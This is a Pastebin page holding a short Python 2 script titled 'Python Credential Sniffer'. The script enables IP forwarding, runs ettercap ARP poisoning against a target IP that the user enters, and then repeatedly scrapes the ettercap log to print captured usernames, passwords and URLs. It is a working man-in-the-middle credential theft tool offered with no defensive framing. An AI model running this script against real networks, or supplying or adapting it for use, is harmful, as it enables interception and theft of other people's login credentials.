Guest User

Python Credential Sniffer

a guest
Jun 14th, 2015
461
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! /usr/bin/env python
  2. #include <stdio.h>
  3. import subprocess
  4. import socket, struct
  5. import os
  6. import sys
  7. import time
  8. os.system("clear")
  9. os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
  10. target = raw_input("Enter the target IP: ")
  11. interface = raw_input("Enter the interface you want to run on: ")
  12. subprocess.call("ettercap -T -m etter.txt -i %s -M ARP /%s/ // &" % (interface, target), stdout=subprocess.PIPE, shell=True)
  13. time.sleep(2)
  14. log_file = "etter.txt"
  15. old_time = os.stat(log_file).st_mtime
  16. while True:
  17. username_list = list(subprocess.check_output("cat etter.txt | grep 'USER:' | tail -1 | awk '{print $6}'", shell=True))
  18. password_list = list(subprocess.check_output("cat etter.txt | grep 'PASS:' | tail -1 | awk '{print $8}'", shell=True))
  19. url = subprocess.check_output("cat etter.txt | grep 'INFO:' | tail -1 | awk '{print $10}'", shell=True)
  20. if "+" in username_list:
  21. fix1 = username_list.index('+')
  22. username_list[fix1] = " "
  23. username = "".join(username_list)
  24. if "+" in password_list:
  25. fix2 = password_list.index('+')
  26. password_list[fix2] = " "
  27. password = "".join(password_list)
  28. new_time = os.stat(log_file).st_mtime
  29. if old_time != new_time:
  30. print "\n------------------------\n|New credentials found.|\n------------------------\nUsername: %s\nPassword: %s\nURL: %s\n" % (username, password, url)
  31. old_time = new_time
  32. time.sleep(1)
RAW Paste Data